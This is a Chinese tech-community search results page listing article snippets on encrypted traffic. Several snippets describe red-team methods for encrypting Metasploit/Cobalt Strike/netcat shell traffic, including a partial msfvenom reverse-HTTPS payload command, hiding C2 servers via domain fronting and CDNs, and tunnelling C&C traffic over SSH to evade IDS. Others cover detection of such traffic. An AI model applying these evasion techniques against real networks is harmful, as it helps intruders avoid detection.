- 综合排序
- 最热优先
- 最新优先
- 来自专栏HACK学习
红队 | 流量加密：使用OpenSSL进行远控流量加密
此时，如果蓝队对攻击流量回溯分析，就可以复现攻击的过程，阻断红队行为，红队就无法进行渗透行为了。所以，我们需要对 shell 中通信的内容进行混淆或加密，实现动态免杀。 但是目标系统所在的网络区域存在IDS等流量监测设备，为了防止被监控后查杀，我们需要分别对 netcat、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密，从而绕过 可看到未加密的情况下，攻击机与目标机之间的通信都是明文传输的，所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1. Metasploit 流量加密 实验环境：Kali Linux 攻击 Windows 10 Metasploit 在内网做横行渗透时，这些流量很容易就能被检测出来，所以做好流量加密，就能避免审计工具检测出来 下面开始演示如何对 Metasploit 进行流量加密。
3.8K41发布于 2021-05-14 - 来自专栏网络安全随笔
加密流量识别技术
根据最新统计报告[3]，截止 2017 年 2 月，半数的在线流量均被加密。对于特定类型的流量，加密甚至已成为法律的强制性要求，Gartner 预测到2021 年，83%的流量将被加密。 这意味着加密是一把双刃剑，保护隐私的同时也让不法分子有了可乘之机。加密能够像隐藏其他信息一样隐藏恶意流量，从而带来一系列蠕虫、木马和病毒。 加密流量识别什么加密与未加密流量，识别出哪些流量属于加密的，剩余则是未加密的识别加密流量所采用的加密协议，如 QUIC，SSL，SSH，IPSec识别流量所属的应用程序，如Skype，Bittorrent ，YouTube，谷歌搜索，淘宝网，凤凰网或中国银行等异常流量识别就是识别出 DDoS，APT，Botnet 等恶意流量内容参数识别就是对应用流量从内容参数上进一步分类，如视频清晰度，图片格式加密流量识别方法概览加密流量识别的首要任务是根据应用需求确定识别对象及识别粒度 加密流量精细化分类技术研究[D].东南大学,2018.
1.4K10编辑于 2024-03-20 - 来自专栏深度学习|机器学习|歌声合成|语音合成
恶意加密流量- pcap包解析
7f00 0001 7f00 0001 0102 0304 0000 0001 # Packet Data eada c850 6d02 0100 2a00 0000 2a00 0000 # Packet Header ffff ffff ffff 0000 0000 0000 0800 4500 001c 0002 0000 4032 7cac 7f00 0000 # Packet Header ffff ffff ffff 0000 0000 0000 0800 4500 001c 0004 0000 4032 7caa 7f00 0001 7f00 2a00 0000 ffff ffff ffff 0000 0000 0000 0800 4500 001c 0001 0000 4032 7cad 7f00 0001 7f00 0001 0102 7f00 0001 7f00 0001 0102 0304 0000 0001 就是数据包，长度一共是 42 Byte
3.3K10编辑于 2022-10-05 - 来自专栏kali blog
kali中对msf流量加密
并没有加密，传输内容容易被检测和发现。 如下，我们简单生成一个Android平台的shell。 加密msf流量 创建证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London 这样会在桌面生成一个www.bbskali.cn.pem的证书 生成加密的shell msfvenom -p windows/meterpreter/reverse_winhttps LHOST= 发现流量全是密文了。
1.2K50编辑于 2022-04-20 - 来自专栏云计算教程系列
使用Apache或Nginx加密Tomcat流量
Tomcat本身也能够加密本地连接，我们是不是有点画蛇添足，多此一举呢？ 第一步：编译并安装 mod_jk 虽然Tomcat本身带有JServ连接器，但CentOS 7软件库不包含Apache Web服务器使用该协议进行通信所需的模块mod_jk。 现在输入以下命令打开文件： sudo vi /etc/httpd/conf.d/ssl.conf 在VirtualHost配置块内部，添加一个JkMount指令，将该虚拟主机接收的所有流量传递给我们刚定义的 结论 现在你可以在Web服务器代理的帮助下使用SSL加密Tomcat连接。虽然配置单独的Web服务器进程可能会增加服务应用程序所涉及的软件，但它可以显着简化SSL部署保护流量的过程。 ---- 参考文献：《How To Encrypt Tomcat 8 Connections with Apache or Nginx on CentOS 7》
2.1K60发布于 2018-08-01 - 来自专栏Tensorbytes
https加密协议流量劫持尝试
由越来越多的网页信息改为HTTPS 加密协议，传统的运营商基于DPI的数据获取和广告营销方式已经不可行，需要一种新的方式采集可用数据。 相对网页版，手机版的加密信息相对少些，因此可以以手机版本作为切入，获取用户部分信息。 实验结果： ?
1.2K20发布于 2019-10-23 - 来自专栏黑伞安全
干货--加密流量APP的渗透准备
又是喜闻乐见的加密流量！搞它。 APP是加壳的，先上frida-dexdump脱壳。 ? ? 这么多有encrypt关键字的，不好找，我们上DDMS： 通过profilling，我们很容易就能定位到加密函数： ? 上JEB，打开我们已经脱掉的dex文件： ? 恩，剩下的就是写脚本了。1. 为方便测试，我们使用burpy，这样就能直接在burpsuite上操作加密解密了。2. 为方便burpy调用加密和解密，需要把hook写成rpc的形式。
1.4K50发布于 2021-01-29 - 来自专栏绿盟科技研究通讯
加密恶意流量优秀检测思路分享
本文介绍一种从加密流量中检测恶意流量的方法，来自清华大学的HawkEye战队，他们在DataCon2020大赛中获得加密恶意流量检测方向的一等奖，该方法的思路具有很好的借鉴作用，希望带给读者一些思考。 如何通过不解密的方式直接从大体量的加密流量中检测出恶意流量，是学术界和工业界一直非常关注的问题，且已经取得了一些研究成果，但大多都是使用单一模型或多个弱监督模型集成学习的方法。 由于数据包体量特征不受数据加密的影响，所以非常适合用于加密流量的检测。 ? 四、小结 本文介绍了一种加密恶意流量检测方法，首先通过对加密流量进行深入分析和特征挖掘，提取了单维/多维特征，然后对包级/流级/主机级流量行为进行分层分析和学习，构建不同的分类器，最终通过多模型投票机制提升了检测效率和性能 加密代理篇： 《初探加密流量识别》 恶意软件篇： 《基于深度学习的物联网恶意软件家族细粒度分类研究》 《关于恶意软件加密流量检测的思考》 加密webshell篇： 《【冰蝎全系列有效】针对HTTPS加密流量的
3.3K20发布于 2021-02-24 - 来自专栏红蓝对抗
流量加密之C2隐藏
所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器，目前常用的隐藏手段包括域前置、CDN、云函数等，接下来我将介绍这几种常见的隐藏C2的方式。 与云函数类似，域前置技术主要通过CDN节点将流量转发给真实的C2服务器，CDN节点ip可通过识别请求的Host头进行流量转发，利用我们配置域名的高可信度，那么就可以有效躲避针对DLP、agent等流量监测 与此同时我们可以发现外部地址随着每次请求一直变化，因此防守方溯源到我们C2服务器的IP地址几率也就非常低在 CS 中成功执行命令并在受害主机上开启 WireShark 抓包在 WireShark 中跑的都是TLS加密流量 、目的地址为随机的CDN节点，因此无法溯源到我们C2服务器的真实IP0x03 总结通过这段时间针对流量加密的学习，我发现网络攻击与防守总是在不断转换，就像CDN在设计之初主要用于保护网站的真实IP，但作为攻击者我们也可以使用它来保护我们的 C2服务器；而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
13.4K111编辑于 2022-06-21 - 来自专栏FreeBuf
Shellcode与加密流量之间的那些事儿
分组密码 分组密码有很多种，但AES 128可能是目前最适合对在线流量进行加密的算法了，下面给出的是我们对不同种类分组密码的测试结果： ? 虽然这些加密算法都非常优秀，但是他们仍需要类似计数器（CTR）和基于认证的加密模块，其中最适合消息认证码（MAC）的加密算法就是LightMAC了，因为它在实现加密的过程中使用的是相同的分组密码。 置换函数 如果你花了很多时间去测试各种加密算法的话，你最终会发现在构造流密码、分组密码、加密认证模型、加密哈希函数和随机数生成器时，你需要的仅仅只是一个置换函数。 这里我们选择使用Gimli，因为它占用资源最少，并且可以用来构造针对通信流量的加密算法。 异或密码 接下来，我们实现一个针对数据流的简单异或操作（Just For Fun！）。 t s[48]; uint8_t buf[BUFSIZ];}crypt_ctx; uint8_tgf_mul(uint8_t x) { return (x << 1) ^ ((x >> 7)
94620发布于 2018-09-21 - 来自专栏Hadoop数据仓库
ShardingSphere实践（7）——数据加密
加密规则 4. 加密处理过程 5. 解决方案详解 （1）新上线业务 （2）已上线业务改造 6. 中间件加密服务优势 7. 加密算法解析 三、用例测试 1. 准备测试用例环境 2. 在对比一段时间无误后，可以夜间操作将生产流量切到预发环境中。此方案相对安全可靠，只是时间、人力、资金、成本较高，主要包括：预发环境搭建、生产代码整改、相关辅助工具开发等。 可实现在不改变业务查询 SQL 前提下，已上线系统对加密前后数据进行安全、透明化迁移。 7. = | | 2 | fRV$wtz5FMV8bwH9 | NULL | 2xPXaMMndGl7I8CfQRVVwjLWHCA31RdEiQCtSK1KgqQ= "ECB"，填充方法为"PKCS7"；Java默认使用的是128位，加密方式为"ECB"，填充方法为"PKCS5"。
2.4K11编辑于 2022-06-14 - 来自专栏charlieroro
流量控制--7.总结
流量控制的规则、准则和方法 8.1. Linux流量控制的通用规则 可以使用如下通用规则来学习Linux流量控制。可以使用tcng 或 tc进行初始化配置Linux下的流量控制结构。 一个设备可以对其传输的流量进行调整。由于已经在输入接口上接收到流量，因此无法调整这类流量。 解决此问题的传统方法是使用ingress策略。 每个接口必须包含一个qdisc。 流量后续会被分割到子类中，用于保证特定类型的流量的带宽或允许优先选择特定类型的流量。 8.3. 通过使用SFQ，特定队列中的流量可以分为多条流，然后公平地处理该队列中的每条流。表现良好的应用程序（和用户）会发现，使用SFQ和ESFQ足以满足大多数共享需求。 使用QoS/流量控制的脚本 9.1. wondershaper 更多参见 wondershaper. 9.2.
98110发布于 2020-12-02 - 来自专栏绿盟科技研究通讯
关于恶意软件加密流量检测的思考
随着TLS的使用越来越普遍、有效证书的获取越来越廉价和容易，使用TLS的恶意软件也会越来越多，所以检测出恶意软件的TLS加密通信流量是非常必要的。 图6 客户端提供的扩展特征分布 2.3证书差异 （1）证书是否自签名：如图7所示，横坐标表示证书是否自签名，纵坐标表示在恶意流和良性流中各自的占比。 图7 证书是否自签名特征分布 （2）证书包含域名的数量：如图7所示，横坐标表示证书包含域名的数量，纵坐标表示在恶意流和良性流中各个数量的占比。 URL: https://www.stratosphereips.org/datasets-malware 更多加密流量相关文章，欢迎点击阅读相关文章。 加密代理篇： 《初探加密代理识别》 恶意软件篇： 《基于深度学习的物联网恶意软件家族细粒度分类研究》 加密webshell篇： 《【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究》 《
2.2K30发布于 2021-01-27 - 来自专栏科控自动化
S7-SCL流量累积功能
函数块 'Totalizer' ,可以计算出一个瞬时流量的累积值。 描述 例如，在测量流量或线速度时，可以使用距离或体积作为物理量，使用毫秒，秒，分钟，小时或者天作为测量时间的单位。 "Totalizer" 功能块必须在循环中断(比如OB30)中调用，表 01 是 "Totalizer" 功能块的输入和输出变量列表 参数 变量 数据类型 描述 输入 Value Real 瞬时流量 输入 Interval Time 瞬时流量的时间单位 输入 Cycle Time 扫描时间(循环中断周期) 输入 Reset Bool 累积值清零 输出 Total Real 累积值输出 表 01 被测量值 "Value" (速度或流量)的计量单位可以是米每秒，立方米每分钟或公里每小时。 然后在 STEP 7 (TIA Portal) 中打开这个库，并可以添加到S7-1200/S7-1500的项目中使用。
2K23编辑于 2022-03-29 - 来自专栏数据结构和算法
PTA 7-1 数字加密
7-1 数字加密 输入一个四位数，将其加密后输出。方法是将该数每一位上的数字加9，然后除以10取余，做为该位上的新数字，最后将千位和十位上的数字互换，百位和个位上的数字互换，组成加密后的新四位数。 输入格式： 输入在一行中给出一个四位的整数x，即要求被加密的数。 输出格式： 在一行中按照格式“The encrypted number is V”输出加密后得到的新数V。
40110编辑于 2023-11-30 - 来自专栏FreeBuf
利用SSH隧道加密、隐蔽C&C通信流量
本文想通过标准的SSH的端口转发建立SSH形式的加密隧道，用于加密、隐蔽传输恶意流量，从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。 通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。 ? 二、实验原理 本次实验使用Empire工具快速搭建C&C信道，本文只简要介绍对于Empire工具。 三、实验步骤 实验说明：使用两台虚拟机ubuntu16 + windows 7，其中ubuntu16模拟控制端，windows 7模拟受控主机。 7) 至此以成功使用SSH隧道传输C&C通信流量，后续可在此基础上设计实现其他C&C控制命令及其它恶意功能。 (4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。 本文思想源于FreeBuf大神"興趣使然的小胃"，特此感谢。
2.5K10发布于 2019-07-22 - 来自专栏软件测试技术
如何通过LoadRunner测试MQTT协议、实现加密流量测试
二、LoadRunner加密流量测试在使用LoadRunner进行性能测试时，如果被测系统使用了加密流量要求通过 SSL/TLS 加密通道进行通信，LoadRunner通过支持SSL/TLS 协议对流量进行加密测试 LoadRunner 支持在性能测试中配置 SSL/TLS 协议，以模拟加密流量。 在进行加密流量测试时，LoadRunner 还可以结合其他安全性测试，确保系统的安全性和性能。加密流量的测试不仅仅是验证通信的安全性，还需要评估加密和解密操作对系统性能的影响。 在LoadRunner中，测试完成后，可以查看加密流量对响应时间、吞吐量、CPU 使用率等性能指标的影响。 通过 LoadRunner 的安全性和性能测试，企业可以在保持高安全性要求的同时，确保系统能够处理高并发和加密流量。如需产品7天试用，可私信我获取。
14410编辑于 2026-03-25 - 来自专栏HACK学习
红蓝对抗——加密Webshell“冰蝎” 流量 100%识别
0X01 "冰蝎" 获取密钥过程 冰蝎执行流程 (图片来自红蓝对抗——加密Webshell“冰蝎”攻防) 冰蝎在连接webshell的时,会对webshell进行两次请求访问 为什么进行两次访问? webshell内添加任意内容 (比如gif89a子类的文件头或者其它标示字符) 冰蝎在初始化密钥时会对webshell进行两次访问,然后比较两次页面返回的差异,把两次请求都相同的字符记录一个位置,后续加密会用到这两个位置 (beginIndex,endIndex) ) 如图,根据数据包,beginIndex:8 endIndex:4 (含换行),冰蝎开始从数据流中截取被加密的数据从下标8开始到(数据包总长度-4) Waf Path 或者 HttpOnly 之类或者其它的) 冰蝎直接把返回协议头中的Set-Cookie字段直接添加到下一个请求包的Cookie字段中 正常的请求是不会携带Cookie属性的,这可是识别冰蝎流量最直接的一种办法 次的数据包进行截取,比对相同字符,比对之后,截取两次不同的数据,如果剩下的是16位的key,就可以证明这两个数据包就是冰蝎发出的,第三个数据包通过 0x02,0x03 中的一些bug,可以100%的匹配到冰蝎流量
1.3K10发布于 2020-04-27 - 来自专栏AI科技评论
WWW`22丨中科院信工所提出：面向多场景低资源加密流量分类的加密流量预训练技术
ET-BERT可以应用到多个加密流量场景任务中，比如新型加密协议TLS 1.3网站和应用分类，加密隧道VPN应用分类，匿名通信Tor应用分类，恶意服务Malware Service分类，不均衡加密移动应用分类等场景 该方法对全加密网络时代下，加密流量分类技术的研究和网络空间安全的维护具有重要启发。 因此，研究者认为： 现有挖掘加密流量特征的模型并没有考虑到加密流量在不同场景下都具有流量的共性特征，在流量表征过程只关注单一场景； 现有引入预训练架构的模型没有从深层次发掘和利用流量的传输行为对区分不同应用的关联关系 说明：加密流量及其结构 流量的形式在网络传输中是二进制的比特流形式，主要构造单元有数据包和会话流。 ET-BERT具有良好的泛化性，能够适应不同的加密流量场景，包括新型加密协议，在未来全加密网络中应用更加普适和可靠的网络行为分析技术具有较好的启示作用。
2.2K20编辑于 2022-03-17 - 来自专栏院长运维开发
CentOS7中转内网流量
方法： echo 1 > /proc/sys/net/ipv4/ip_forward sysctl -p firewall-cmd --permanent --add-port=161/tcp --zone=public firewall-cmd --permanent --add-port=161/udp --zone=public firewall-cmd --permanent --add-masquerade --zone=public firewall-cmd --permanent -
95230发布于 2021-04-13
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号